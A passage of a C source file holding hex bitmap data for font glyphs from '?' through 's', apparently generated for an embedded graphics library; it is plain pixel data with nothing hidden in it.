0xf8, 0x0, 0x2, 0x8d, 0xfc, 0x61, 0x0, 0x7c,
0xfe, 0x82, 0x0, 0x0, 0x4f, 0x94, 0x0, 0x0,
0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+3F "?" */
0x4b, 0xef, 0xb3, 0xd, 0xa5, 0x6e, 0xe1, 0x20,
0x0, 0x4f, 0x40, 0x0, 0x6, 0xf3, 0x0, 0x3,
0xfa, 0x0, 0x2, 0xeb, 0x0, 0x0, 0xbd, 0x0,
0x0, 0xe, 0x90, 0x0, 0x0, 0xc8, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xea, 0x0, 0x0, 0xf,
0xa0, 0x0,
/* U+40 "@" */
0x0, 0x0, 0x7b, 0xee, 0xd8, 0x20, 0x0, 0x0,
0x3e, 0xd6, 0x43, 0x5a, 0xf6, 0x0, 0x3, 0xf6,
0x0, 0x0, 0x0, 0x3e, 0x60, 0xe, 0x60, 0x0,
0x0, 0x0, 0x3, 0xf2, 0x6c, 0x0, 0x1a, 0xed,
0x6c, 0x50, 0xa8, 0xb6, 0x0, 0xbc, 0x44, 0xcf,
0x50, 0x6c, 0xe3, 0x2, 0xf2, 0x0, 0x2f, 0x50,
0x4d, 0xe3, 0x4, 0xf0, 0x0, 0xf, 0x50, 0x5c,
0xc5, 0x2, 0xf1, 0x0, 0x1f, 0x50, 0xb8, 0x8a,
0x0, 0xda, 0x11, 0xaf, 0x68, 0xe1, 0x1f, 0x30,
0x2d, 0xff, 0x9c, 0xfa, 0x10, 0x6, 0xe3, 0x0,
0x11, 0x1, 0x0, 0x0, 0x0, 0x7f, 0x83, 0x0,
0x16, 0xd4, 0x0, 0x0, 0x2, 0xaf, 0xff, 0xfb,
0x50, 0x0, 0x0, 0x0, 0x0, 0x11, 0x0, 0x0,
0x0,
/* U+41 "A" */
0x0, 0x0, 0x9f, 0x80, 0x0, 0x0, 0x0, 0xf,
0xfe, 0x0, 0x0, 0x0, 0x5, 0xfb, 0xf4, 0x0,
0x0, 0x0, 0xbe, 0x1f, 0xa0, 0x0, 0x0, 0x1f,
0x90, 0xaf, 0x10, 0x0, 0x7, 0xf3, 0x4, 0xf6,
0x0, 0x0, 0xdd, 0x0, 0xe, 0xc0, 0x0, 0x3f,
0x81, 0x11, 0x9f, 0x20, 0x9, 0xff, 0xff, 0xff,
0xf8, 0x0, 0xec, 0x44, 0x44, 0x4c, 0xe0, 0x5f,
0x50, 0x0, 0x0, 0x6f, 0x4b, 0xf0, 0x0, 0x0,
0x0, 0xfa,
/* U+42 "B" */
0x6f, 0xff, 0xfe, 0xa2, 0x6, 0xf6, 0x44, 0x7e,
0xe0, 0x6f, 0x20, 0x0, 0x5f, 0x46, 0xf2, 0x0,
0x4, 0xf4, 0x6f, 0x30, 0x3, 0xce, 0x6, 0xff,
0xff, 0xfd, 0x20, 0x6f, 0x53, 0x35, 0xce, 0x26,
0xf2, 0x0, 0x1, 0xfa, 0x6f, 0x20, 0x0, 0xd,
0xc6, 0xf2, 0x0, 0x1, 0xfb, 0x6f, 0x64, 0x46,
0xdf, 0x46, 0xff, 0xff, 0xeb, 0x40,
/* U+43 "C" */
0x0, 0x3, 0xae, 0xfe, 0xb5, 0x0, 0x6, 0xfd,
0x75, 0x6a, 0xf4, 0x3, 0xfa, 0x0, 0x0, 0x2,
0x30, 0xaf, 0x10, 0x0, 0x0, 0x0, 0xf, 0xb0,
0x0, 0x0, 0x0, 0x0, 0xf9, 0x0, 0x0, 0x0,
0x0, 0xf, 0x90, 0x0, 0x0, 0x0, 0x0, 0xfb,
0x0, 0x0, 0x0, 0x0, 0xa, 0xf1, 0x0, 0x0,
0x0, 0x0, 0x3f, 0xa0, 0x0, 0x0, 0x23, 0x0,
0x6f, 0xd7, 0x56, 0xaf, 0x40, 0x0, 0x3a, 0xef,
0xeb, 0x40,
/* U+44 "D" */
0x6f, 0xff, 0xfd, 0xa5, 0x0, 0x6, 0xf6, 0x45,
0x7b, 0xfb, 0x0, 0x6f, 0x20, 0x0, 0x6, 0xf9,
0x6, 0xf2, 0x0, 0x0, 0xb, 0xf0, 0x6f, 0x20,
0x0, 0x0, 0x6f, 0x36, 0xf2, 0x0, 0x0, 0x4,
0xf5, 0x6f, 0x20, 0x0, 0x0, 0x5f, 0x56, 0xf2,
0x0, 0x0, 0x6, 0xf3, 0x6f, 0x20, 0x0, 0x0,
0xbf, 0x6, 0xf2, 0x0, 0x0, 0x6f, 0x80, 0x6f,
0x64, 0x57, 0xbf, 0xb0, 0x6, 0xff, 0xff, 0xea,
0x50, 0x0,
/* U+45 "E" */
0x6f, 0xff, 0xff, 0xff, 0x6, 0xf6, 0x55, 0x55,
0x50, 0x6f, 0x20, 0x0, 0x0, 0x6, 0xf2, 0x0,
0x0, 0x0, 0x6f, 0x31, 0x11, 0x10, 0x6, 0xff,
0xff, 0xff, 0xb0, 0x6f, 0x54, 0x44, 0x42, 0x6,
0xf2, 0x0, 0x0, 0x0, 0x6f, 0x20, 0x0, 0x0,
0x6, 0xf2, 0x0, 0x0, 0x0, 0x6f, 0x65, 0x55,
0x55, 0x6, 0xff, 0xff, 0xff, 0xf1,
/* U+46 "F" */
0x6f, 0xff, 0xff, 0xf4, 0x6f, 0x65, 0x55, 0x51,
0x6f, 0x20, 0x0, 0x0, 0x6f, 0x20, 0x0, 0x0,
0x6f, 0x31, 0x11, 0x0, 0x6f, 0xff, 0xff, 0xc0,
0x6f, 0x54, 0x44, 0x30, 0x6f, 0x20, 0x0, 0x0,
0x6f, 0x20, 0x0, 0x0, 0x6f, 0x20, 0x0, 0x0,
0x6f, 0x20, 0x0, 0x0, 0x6f, 0x20, 0x0, 0x0,
/* U+47 "G" */
0x0, 0x3, 0xae, 0xff, 0xc8, 0x10, 0x0, 0x6f,
0xd7, 0x55, 0x9e, 0xc0, 0x3, 0xfa, 0x0, 0x0,
0x1, 0x70, 0xb, 0xf1, 0x0, 0x0, 0x0, 0x0,
0xf, 0xb0, 0x0, 0x0, 0x0, 0x0, 0xf, 0x90,
0x0, 0x0, 0x0, 0x0, 0xf, 0x90, 0x0, 0xf,
0xff, 0xf1, 0xf, 0xb0, 0x0, 0x3, 0x39, 0xf1,
0xb, 0xf1, 0x0, 0x0, 0x7, 0xf1, 0x3, 0xfa,
0x0, 0x0, 0x7, 0xf1, 0x0, 0x6f, 0xd7, 0x55,
0x8d, 0xf1, 0x0, 0x3, 0xae, 0xff, 0xc7, 0x10,
/* U+48 "H" */
0x6f, 0x20, 0x0, 0x1, 0xf7, 0x6f, 0x20, 0x0,
0x1, 0xf7, 0x6f, 0x20, 0x0, 0x1, 0xf7, 0x6f,
0x20, 0x0, 0x1, 0xf7, 0x6f, 0x31, 0x11, 0x12,
0xf7, 0x6f, 0xff, 0xff, 0xff, 0xf7, 0x6f, 0x54,
0x44, 0x45, 0xf7, 0x6f, 0x20, 0x0, 0x1, 0xf7,
0x6f, 0x20, 0x0, 0x1, 0xf7, 0x6f, 0x20, 0x0,
0x1, 0xf7, 0x6f, 0x20, 0x0, 0x1, 0xf7, 0x6f,
0x20, 0x0, 0x1, 0xf7,
/* U+49 "I" */
0x6f, 0x26, 0xf2, 0x6f, 0x26, 0xf2, 0x6f, 0x26,
0xf2, 0x6f, 0x26, 0xf2, 0x6f, 0x26, 0xf2, 0x6f,
0x26, 0xf2,
/* U+4A "J" */
0x0, 0x6f, 0x20, 0x6, 0xf2, 0x0, 0x6f, 0x20,
0x6, 0xf2, 0x0, 0x6f, 0x20, 0x6, 0xf2, 0x0,
0x6f, 0x20, 0x6, 0xf2, 0x0, 0x6f, 0x20, 0x6,
0xf2, 0x0, 0x6f, 0x20, 0x7, 0xf2, 0x0, 0xaf,
0x4, 0x8f, 0xa0, 0xde, 0x90, 0x0,
/* U+4B "K" */
0x6f, 0x20, 0x0, 0x3e, 0xd1, 0x6f, 0x20, 0x3,
0xec, 0x10, 0x6f, 0x20, 0x3f, 0xc0, 0x0, 0x6f,
0x24, 0xfb, 0x0, 0x0, 0x6f, 0x7f, 0xb0, 0x0,
0x0, 0x6f, 0xfd, 0x0, 0x0, 0x0, 0x6f, 0xbf,
0x80, 0x0, 0x0, 0x6f, 0x29, 0xf7, 0x0, 0x0,
0x6f, 0x20, 0xaf, 0x70, 0x0, 0x6f, 0x20, 0xa,
0xf6, 0x0, 0x6f, 0x20, 0x0, 0xaf, 0x60, 0x6f,
0x20, 0x0, 0xb, 0xf5,
/* U+4C "L" */
0x6f, 0x20, 0x0, 0x0, 0x6f, 0x20, 0x0, 0x0,
0x6f, 0x20, 0x0, 0x0, 0x6f, 0x20, 0x0, 0x0,
0x6f, 0x20, 0x0, 0x0, 0x6f, 0x20, 0x0, 0x0,
0x6f, 0x20, 0x0, 0x0, 0x6f, 0x20, 0x0, 0x0,
0x6f, 0x20, 0x0, 0x0, 0x6f, 0x20, 0x0, 0x0,
0x6f, 0x65, 0x55, 0x54, 0x6f, 0xff, 0xff, 0xfd,
/* U+4D "M" */
0x6f, 0xf1, 0x0, 0x0, 0x4f, 0xf4, 0x6f, 0xf7,
0x0, 0x0, 0xaf, 0xf4, 0x6f, 0xad, 0x0, 0x0,
0xf9, 0xf4, 0x6f, 0x4f, 0x30, 0x6, 0xe5, 0xf4,
0x6f, 0x1c, 0x90, 0xc, 0x94, 0xf4, 0x6f, 0x16,
0xe0, 0x2f, 0x34, 0xf4, 0x6f, 0x11, 0xf4, 0x7d,
0x4, 0xf4, 0x6f, 0x10, 0xba, 0xd8, 0x4, 0xf4,
0x6f, 0x10, 0x5f, 0xf2, 0x4, 0xf4, 0x6f, 0x10,
0xa, 0x90, 0x4, 0xf4, 0x6f, 0x10, 0x0, 0x0,
0x4, 0xf4, 0x6f, 0x10, 0x0, 0x0, 0x4, 0xf4,
/* U+4E "N" */
0x6f, 0xe0, 0x0, 0x2, 0xf6, 0x6f, 0xf7, 0x0,
0x2, 0xf6, 0x6f, 0xbe, 0x0, 0x2, 0xf6, 0x6f,
0x3f, 0x80, 0x2, 0xf6, 0x6f, 0x19, 0xf1, 0x2,
0xf6, 0x6f, 0x11, 0xf8, 0x2, 0xf6, 0x6f, 0x10,
0x8f, 0x12, 0xf6, 0x6f, 0x10, 0x1f, 0x92, 0xf6,
0x6f, 0x10, 0x8, 0xf3, 0xf6, 0x6f, 0x10, 0x1,
0xfb, 0xf6, 0x6f, 0x10, 0x0, 0x7f, 0xf6, 0x6f,
0x10, 0x0, 0xe, 0xf6,
/* U+4F "O" */
0x0, 0x4, 0xbe, 0xfd, 0x91, 0x0, 0x0, 0x7f,
0xc6, 0x58, 0xee, 0x20, 0x3, 0xfa, 0x0, 0x0,
0x2f, 0xd0, 0xa, 0xf1, 0x0, 0x0, 0x7, 0xf4,
0xf, 0xb0, 0x0, 0x0, 0x2, 0xf8, 0xf, 0x90,
0x0, 0x0, 0x0, 0xfa, 0xf, 0x90, 0x0, 0x0,
0x0, 0xfa, 0xf, 0xb0, 0x0, 0x0, 0x2, 0xf8,
0xb, 0xf1, 0x0, 0x0, 0x7, 0xf4, 0x3, 0xfa,
0x0, 0x0, 0x2e, 0xd0, 0x0, 0x7f, 0xc6, 0x58,
0xee, 0x20, 0x0, 0x4, 0xbe, 0xfd, 0x91, 0x0,
/* U+50 "P" */
0x6f, 0xff, 0xfc, 0x60, 0x6, 0xf6, 0x45, 0xbf,
0x80, 0x6f, 0x20, 0x0, 0xdf, 0x6, 0xf2, 0x0,
0x9, 0xf1, 0x6f, 0x20, 0x0, 0xbf, 0x6, 0xf3,
0x1, 0x7f, 0xa0, 0x6f, 0xff, 0xff, 0xa1, 0x6,
0xf5, 0x32, 0x0, 0x0, 0x6f, 0x20, 0x0, 0x0,
0x6, 0xf2, 0x0, 0x0, 0x0, 0x6f, 0x20, 0x0,
0x0, 0x6, 0xf2, 0x0, 0x0, 0x0,
/* U+51 "Q" */
0x0, 0x4, 0xbe, 0xfd, 0x81, 0x0, 0x0, 0x7f,
0xc6, 0x58, 0xee, 0x20, 0x3, 0xfa, 0x0, 0x0,
0x2f, 0xc0, 0xa, 0xf1, 0x0, 0x0, 0x8, 0xf4,
0xf, 0xb0, 0x0, 0x0, 0x2, 0xf8, 0xf, 0x90,
0x0, 0x0, 0x0, 0xfa, 0xf, 0x90, 0x0, 0x0,
0x0, 0xfa, 0xf, 0xb0, 0x0, 0x0, 0x2, 0xf8,
0xb, 0xf1, 0x0, 0x0, 0x7, 0xf4, 0x3, 0xfa,
0x0, 0x0, 0x2e, 0xd0, 0x0, 0x7f, 0xc6, 0x47,
0xef, 0x30, 0x0, 0x4, 0xbe, 0xff, 0xd2, 0x0,
0x0, 0x0, 0x0, 0x9, 0xf4, 0x0, 0x0, 0x0,
0x0, 0x0, 0xbf, 0x30,
/* U+52 "R" */
0x6f, 0xff, 0xfd, 0x80, 0x0, 0x6f, 0x64, 0x5a,
0xf8, 0x0, 0x6f, 0x20, 0x0, 0xcf, 0x0, 0x6f,
0x20, 0x0, 0x9f, 0x10, 0x6f, 0x20, 0x0, 0xbe,
0x0, 0x6f, 0x30, 0x16, 0xf6, 0x0, 0x6f, 0xff,
0xff, 0x90, 0x0, 0x6f, 0x53, 0x5c, 0xf5, 0x0,
0x6f, 0x20, 0x0, 0xde, 0x0, 0x6f, 0x20, 0x0,
0x5f, 0x70, 0x6f, 0x20, 0x0, 0xc, 0xe0, 0x6f,
0x20, 0x0, 0x4, 0xf6,
/* U+53 "S" */
0x4, 0xbe, 0xfd, 0xa4, 0x6, 0xfc, 0x65, 0x7b,
0x80, 0xdd, 0x0, 0x0, 0x0, 0xe, 0xb0, 0x0,
0x0, 0x0, 0xaf, 0x71, 0x0, 0x0, 0x1, 0xcf,
0xfe, 0xa4, 0x0, 0x0, 0x27, 0xbf, 0xf7, 0x0,
0x0, 0x0, 0x1c, 0xf1, 0x0, 0x0, 0x0, 0x6f,
0x32, 0x0, 0x0, 0x9, 0xf2, 0xec, 0x75, 0x5a,
0xfb, 0x5, 0xad, 0xff, 0xd7, 0x0,
/* U+54 "T" */
0xf, 0xff, 0xff, 0xff, 0xff, 0xd0, 0x55, 0x55,
0xec, 0x55, 0x54, 0x0, 0x0, 0xe, 0xb0, 0x0,
0x0, 0x0, 0x0, 0xeb, 0x0, 0x0, 0x0, 0x0,
0xe, 0xb0, 0x0, 0x0, 0x0, 0x0, 0xeb, 0x0,
0x0, 0x0, 0x0, 0xe, 0xb0, 0x0, 0x0, 0x0,
0x0, 0xeb, 0x0, 0x0, 0x0, 0x0, 0xe, 0xb0,
0x0, 0x0, 0x0, 0x0, 0xeb, 0x0, 0x0, 0x0,
0x0, 0xe, 0xb0, 0x0, 0x0, 0x0, 0x0, 0xeb,
0x0, 0x0,
/* U+55 "U" */
0x9f, 0x0, 0x0, 0x4, 0xf5, 0x9f, 0x0, 0x0,
0x4, 0xf5, 0x9f, 0x0, 0x0, 0x4, 0xf5, 0x9f,
0x0, 0x0, 0x4, 0xf5, 0x9f, 0x0, 0x0, 0x4,
0xf5, 0x9f, 0x0, 0x0, 0x4, 0xf5, 0x9f, 0x0,
0x0, 0x4, 0xf5, 0x9f, 0x0, 0x0, 0x4, 0xf5,
0x8f, 0x10, 0x0, 0x6, 0xf3, 0x4f, 0x70, 0x0,
0xb, 0xe0, 0xb, 0xf9, 0x56, 0xbf, 0x60, 0x0,
0x8d, 0xff, 0xc5, 0x0,
/* U+56 "V" */
0xbe, 0x0, 0x0, 0x0, 0xf, 0xa5, 0xf5, 0x0,
0x0, 0x6, 0xf4, 0xe, 0xb0, 0x0, 0x0, 0xbe,
0x0, 0x9f, 0x10, 0x0, 0x1f, 0x80, 0x3, 0xf6,
0x0, 0x7, 0xf2, 0x0, 0xd, 0xc0, 0x0, 0xdc,
0x0, 0x0, 0x7f, 0x20, 0x3f, 0x60, 0x0, 0x1,
0xf8, 0x9, 0xf1, 0x0, 0x0, 0xb, 0xe0, 0xea,
0x0, 0x0, 0x0, 0x5f, 0x8f, 0x40, 0x0, 0x0,
0x0, 0xff, 0xe0, 0x0, 0x0, 0x0, 0x9, 0xf8,
0x0, 0x0,
/* U+57 "W" */
0x5f, 0x30, 0x0, 0x1f, 0xe0, 0x0, 0x6, 0xf2,
0x1f, 0x70, 0x0, 0x5f, 0xf2, 0x0, 0xa, 0xe0,
0xd, 0xb0, 0x0, 0x9b, 0xd6, 0x0, 0xe, 0xb0,
0x9, 0xf0, 0x0, 0xd7, 0xaa, 0x0, 0x2f, 0x70,
0x6, 0xf3, 0x1, 0xf3, 0x6e, 0x0, 0x6f, 0x30,
0x2, 0xf7, 0x4, 0xf0, 0x2f, 0x20, 0xaf, 0x0,
0x0, 0xeb, 0x8, 0xb0, 0xe, 0x50, 0xdb, 0x0,
0x0, 0xae, 0xc, 0x80, 0xa, 0x91, 0xf7, 0x0,
0x0, 0x6f, 0x3f, 0x40, 0x7, 0xd5, 0xf3, 0x0,
0x0, 0x2f, 0xbf, 0x0, 0x3, 0xfb, 0xf0, 0x0,
0x0, 0xe, 0xfc, 0x0, 0x0, 0xff, 0xb0, 0x0,
0x0, 0xa, 0xf8, 0x0, 0x0, 0xbf, 0x70, 0x0,
/* U+58 "X" */
0xa, 0xe1, 0x0, 0x0, 0xcd, 0x0, 0x1e, 0xa0,
0x0, 0x7f, 0x30, 0x0, 0x5f, 0x50, 0x2f, 0x90,
0x0, 0x0, 0xbe, 0x1c, 0xe0, 0x0, 0x0, 0x1,
0xfd, 0xf4, 0x0, 0x0, 0x0, 0x8, 0xfa, 0x0,
0x0, 0x0, 0x0, 0xef, 0xe0, 0x0, 0x0, 0x0,
0x9f, 0x4f, 0x90, 0x0, 0x0, 0x4f, 0x70, 0x7f,
0x30, 0x0, 0xd, 0xc0, 0x0, 0xdd, 0x0, 0x8,
0xf2, 0x0, 0x3, 0xf8, 0x3, 0xf8, 0x0, 0x0,
0x8, 0xf2,
/* U+59 "Y" */
0xb, 0xe1, 0x0, 0x0, 0x3f, 0x70, 0x1f, 0xa0,
0x0, 0xd, 0xc0, 0x0, 0x6f, 0x40, 0x8, 0xf3,
0x0, 0x0, 0xbe, 0x12, 0xf8, 0x0, 0x0, 0x2,
0xfa, 0xcd, 0x0, 0x0, 0x0, 0x6, 0xff, 0x30,
0x0, 0x0, 0x0, 0xe, 0xb0, 0x0, 0x0, 0x0,
0x0, 0xeb, 0x0, 0x0, 0x0, 0x0, 0xe, 0xb0,
0x0, 0x0, 0x0, 0x0, 0xeb, 0x0, 0x0, 0x0,
0x0, 0xe, 0xb0, 0x0, 0x0, 0x0, 0x0, 0xeb,
0x0, 0x0,
/* U+5A "Z" */
0x1f, 0xff, 0xff, 0xff, 0xff, 0x10, 0x55, 0x55,
0x55, 0x7f, 0xc0, 0x0, 0x0, 0x0, 0xc, 0xe2,
0x0, 0x0, 0x0, 0x9, 0xf4, 0x0, 0x0, 0x0,
0x6, 0xf7, 0x0, 0x0, 0x0, 0x3, 0xfb, 0x0,
0x0, 0x0, 0x1, 0xdd, 0x10, 0x0, 0x0, 0x0,
0xbf, 0x30, 0x0, 0x0, 0x0, 0x7f, 0x60, 0x0,
0x0, 0x0, 0x4f, 0x90, 0x0, 0x0, 0x0, 0x1e,
0xe5, 0x55, 0x55, 0x55, 0x14, 0xff, 0xff, 0xff,
0xff, 0xf4,
/* U+5B "[" */
0xaf, 0xfb, 0xad, 0x21, 0xad, 0x0, 0xad, 0x0,
0xad, 0x0, 0xad, 0x0, 0xad, 0x0, 0xad, 0x0,
0xad, 0x0, 0xad, 0x0, 0xad, 0x0, 0xad, 0x0,
0xad, 0x0, 0xaf, 0xfa, 0x12, 0x21,
/* U+5C "\\" */
0xd7, 0x0, 0x0, 0x8c, 0x0, 0x0, 0x3f, 0x10,
0x0, 0xe, 0x60, 0x0, 0x9, 0xb0, 0x0, 0x4,
0xf1, 0x0, 0x0, 0xf5, 0x0, 0x0, 0xaa, 0x0,
0x0, 0x5f, 0x0, 0x0, 0xf, 0x40, 0x0, 0xb,
0x90, 0x0, 0x6, 0xe0, 0x0, 0x1, 0xf3,
/* U+5D "]" */
0x7f, 0xfe, 0x2, 0xae, 0x0, 0x9e, 0x0, 0x9e,
0x0, 0x9e, 0x0, 0x9e, 0x0, 0x9e, 0x0, 0x9e,
0x0, 0x9e, 0x0, 0x9e, 0x0, 0x9e, 0x0, 0x9e,
0x0, 0x9e, 0x6f, 0xfe, 0x2, 0x21,
/* U+5E "^" */
0x0, 0x0, 0x28, 0x50, 0x0, 0x0, 0x0, 0x1e,
0xff, 0x60, 0x0, 0x0, 0x1d, 0xd1, 0x8f, 0x50,
0x0, 0x1d, 0xc1, 0x0, 0x7f, 0x50, 0xc, 0xc0,
0x0, 0x0, 0x6f, 0x40,
/* U+5F "_" */
0x2f, 0xff, 0xff, 0xff, 0xf2, 0x2, 0x22, 0x22,
0x22, 0x20,
/* U+60 "`" */
0x4f, 0x40, 0x0, 0x6e, 0x10, 0x0, 0x8b, 0x0,
/* U+61 "a" */
0x2, 0xae, 0xfd, 0x90, 0x0, 0x48, 0x53, 0x6d,
0xc0, 0x0, 0x0, 0x0, 0x3f, 0x20, 0x7, 0xce,
0xff, 0xf5, 0x8, 0xf6, 0x32, 0x3f, 0x50, 0xe8,
0x0, 0x3, 0xf5, 0xf, 0x70, 0x0, 0x8f, 0x50,
0xbd, 0x20, 0x6e, 0xf5, 0x1, 0xae, 0xfb, 0x3f,
0x50,
/* U+62 "b" */
0x8e, 0x0, 0x0, 0x0, 0x8, 0xe0, 0x0, 0x0,
0x0, 0x8e, 0x0, 0x0, 0x0, 0x8, 0xe3, 0xcf,
0xe7, 0x0, 0x8f, 0xe6, 0x49, 0xf6, 0x8, 0xf5,
0x0, 0xa, 0xe0, 0x8f, 0x0, 0x0, 0x5f, 0x28,
0xe0, 0x0, 0x3, 0xf3, 0x8f, 0x0, 0x0, 0x5f,
0x28, 0xf5, 0x0, 0xa, 0xe0, 0x8f, 0xe6, 0x49,
0xf6, 0x8, 0xe3, 0xcf, 0xe7, 0x0,
/* U+63 "c" */
0x0, 0x2a, 0xef, 0xd7, 0x3, 0xfd, 0x54, 0x69,
0xb, 0xe0, 0x0, 0x0, 0xf, 0x80, 0x0, 0x0,
0x1f, 0x70, 0x0, 0x0, 0xf, 0x80, 0x0, 0x0,
0xb, 0xe0, 0x0, 0x0, 0x3, 0xfd, 0x64, 0x69,
0x0, 0x3b, 0xff, 0xd7,
/* U+64 "d" */
0x0, 0x0, 0x0, 0xb, 0xb0, 0x0, 0x0, 0x0,
0xbb, 0x0, 0x0, 0x0, 0xb, 0xb0, 0x5, 0xdf,
0xd5, 0xbb, 0x4, 0xfb, 0x45, 0xee, 0xb0, 0xcd,
0x0, 0x3, 0xfb, 0xf, 0x80, 0x0, 0xd, 0xb1,
0xf6, 0x0, 0x0, 0xcb, 0xf, 0x70, 0x0, 0xd,
0xb0, 0xcb, 0x0, 0x2, 0xfb, 0x4, 0xf7, 0x2,
0xcf, 0xb0, 0x5, 0xdf, 0xd6, 0xbb,
/* U+65 "e" */
0x0, 0x2b, 0xff, 0xc3, 0x0, 0x2f, 0xc5, 0x4a,
0xf3, 0xb, 0xe0, 0x0, 0xd, 0xa0, 0xf8, 0x0,
0x0, 0x8e, 0x1f, 0xff, 0xff, 0xff, 0xf0, 0xf9,
0x22, 0x22, 0x22, 0xb, 0xd0, 0x0, 0x0, 0x0,
0x2f, 0xc6, 0x45, 0x88, 0x0, 0x2a, 0xef, 0xeb,
0x40,
/* U+66 "f" */
0x0, 0x5d, 0xff, 0x1, 0xf9, 0x33, 0x3, 0xf3,
0x0, 0xaf, 0xff, 0xf9, 0x15, 0xf4, 0x21, 0x4,
0xf3, 0x0, 0x4, 0xf3, 0x0, 0x4, 0xf3, 0x0,
0x4, 0xf3, 0x0, 0x4, 0xf3, 0x0, 0x4, 0xf3,
0x0, 0x4, 0xf3, 0x0,
/* U+67 "g" */
0x0, 0x5d, 0xfd, 0x5b, 0xb0, 0x4f, 0xa4, 0x5d,
0xeb, 0xc, 0xc0, 0x0, 0x2f, 0xb0, 0xf7, 0x0,
0x0, 0xdb, 0x1f, 0x60, 0x0, 0xc, 0xb0, 0xf7,
0x0, 0x0, 0xdb, 0xc, 0xc0, 0x0, 0x2f, 0xb0,
0x4f, 0xa4, 0x5d, 0xeb, 0x0, 0x5d, 0xfd, 0x5c,
0xa0, 0x0, 0x0, 0x1, 0xf7, 0x0, 0x94, 0x35,
0xde, 0x10, 0xb, 0xef, 0xea, 0x20,
/* U+68 "h" */
0x8e, 0x0, 0x0, 0x0, 0x8e, 0x0, 0x0, 0x0,
0x8e, 0x0, 0x0, 0x0, 0x8e, 0x2b, 0xfd, 0x60,
0x8f, 0xd7, 0x49, 0xf4, 0x8f, 0x40, 0x0, 0xda,
0x8f, 0x0, 0x0, 0xac, 0x8e, 0x0, 0x0, 0xac,
0x8e, 0x0, 0x0, 0xac, 0x8e, 0x0, 0x0, 0xac,
0x8e, 0x0, 0x0, 0xac, 0x8e, 0x0, 0x0, 0xac,
/* U+69 "i" */
0x7f, 0x6c, 0x0, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f,
0x7f, 0x7f, 0x7f, 0x7f,
/* U+6A "j" */
0x0, 0x7f, 0x0, 0x6c, 0x0, 0x0, 0x0, 0x7f,
0x0, 0x7f, 0x0, 0x7f, 0x0, 0x7f, 0x0, 0x7f,
0x0, 0x7f, 0x0, 0x7f, 0x0, 0x7f, 0x0, 0x7f,
0x0, 0x8e, 0x14, 0xda, 0x4f, 0xb2,
/* U+6B "k" */
0x8e, 0x0, 0x0, 0x0, 0x8, 0xe0, 0x0, 0x0,
0x0, 0x8e, 0x0, 0x0, 0x0, 0x8, 0xe0, 0x0,
0x6f, 0x70, 0x8e, 0x0, 0x7f, 0x60, 0x8, 0xe0,
0x9f, 0x40, 0x0, 0x8e, 0xae, 0x30, 0x0, 0x8,
0xff, 0xb0, 0x0, 0x0, 0x8e, 0x3f, 0xa0, 0x0,
0x8, 0xe0, 0x3f, 0xa0, 0x0, 0x8e, 0x0, 0x3f,
0xa0, 0x8, 0xe0, 0x0, 0x3f, 0xb0,
/* U+6C "l" */
0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f,
0x7f, 0x7f, 0x7f, 0x7f,
/* U+6D "m" */
0x8e, 0x3c, 0xfd, 0x50, 0x6d, 0xfb, 0x10, 0x8f,
0xd6, 0x4b, 0xf8, 0xc5, 0x5e, 0xb0, 0x8f, 0x40,
0x1, 0xfe, 0x0, 0x6, 0xf1, 0x8f, 0x0, 0x0,
0xea, 0x0, 0x3, 0xf3, 0x8e, 0x0, 0x0, 0xe9,
0x0, 0x3, 0xf3, 0x8e, 0x0, 0x0, 0xe9, 0x0,
0x3, 0xf3, 0x8e, 0x0, 0x0, 0xe9, 0x0, 0x3,
0xf3, 0x8e, 0x0, 0x0, 0xe9, 0x0, 0x3, 0xf3,
0x8e, 0x0, 0x0, 0xe9, 0x0, 0x3, 0xf3,
/* U+6E "n" */
0x8e, 0x3c, 0xfd, 0x60, 0x8f, 0xc4, 0x16, 0xf4,
0x8f, 0x30, 0x0, 0xda, 0x8f, 0x0, 0x0, 0xac,
0x8e, 0x0, 0x0, 0xac, 0x8e, 0x0, 0x0, 0xac,
0x8e, 0x0, 0x0, 0xac, 0x8e, 0x0, 0x0, 0xac,
0x8e, 0x0, 0x0, 0xac,
/* U+6F "o" */
0x0, 0x4c, 0xff, 0xb2, 0x0, 0x4f, 0xb4, 0x5d,
0xe1, 0xc, 0xd0, 0x0, 0x1f, 0x90, 0xf8, 0x0,
0x0, 0xbd, 0x1f, 0x60, 0x0, 0xa, 0xe0, 0xf8,
0x0, 0x0, 0xbd, 0xc, 0xd0, 0x0, 0x1f, 0x90,
0x4f, 0xb5, 0x5d, 0xe1, 0x0, 0x4c, 0xff, 0xb2,
0x0,
/* U+70 "p" */
0x8e, 0x4d, 0xfe, 0x70, 0x8, 0xfd, 0x30, 0x6f,
0x60, 0x8f, 0x40, 0x0, 0x9e, 0x8, 0xf0, 0x0,
0x4, 0xf2, 0x8e, 0x0, 0x0, 0x3f, 0x38, 0xf0,
0x0, 0x5, 0xf2, 0x8f, 0x60, 0x0, 0xbe, 0x8,
0xfe, 0x74, 0x9f, 0x60, 0x8e, 0x3c, 0xfe, 0x70,
0x8, 0xe0, 0x0, 0x0, 0x0, 0x8e, 0x0, 0x0,
0x0, 0x8, 0xe0, 0x0, 0x0, 0x0,
/* U+71 "q" */
0x0, 0x5d, 0xfd, 0x5b, 0xb0, 0x4f, 0xa4, 0x5e,
0xeb, 0xc, 0xd0, 0x0, 0x3f, 0xb0, 0xf7, 0x0,
0x0, 0xdb, 0x1f, 0x60, 0x0, 0xc, 0xb0, 0xf7,
0x0, 0x0, 0xdb, 0xc, 0xd0, 0x0, 0x3f, 0xb0,
0x4f, 0xb4, 0x5e, 0xeb, 0x0, 0x5d, 0xfd, 0x5b,
0xb0, 0x0, 0x0, 0x0, 0xbb, 0x0, 0x0, 0x0,
0xb, 0xb0, 0x0, 0x0, 0x0, 0xbb,
/* U+72 "r" */
0x0, 0x0, 0x0, 0x8e, 0x4c, 0xf9, 0x8f, 0xd4,
0x12, 0x8f, 0x40, 0x0, 0x8f, 0x0, 0x0, 0x8e,
0x0, 0x0, 0x8e, 0x0, 0x0, 0x8e, 0x0, 0x0,
0x8e, 0x0, 0x0, 0x8e, 0x0, 0x0,
/* U+73 "s" */
0x1, 0xae, 0xfe, 0xb0, 0xc, 0xd5, 0x35, 0x91,
0xf, 0x60, 0x0, 0x0, 0xc, 0xe6, 0x20, 0x0,
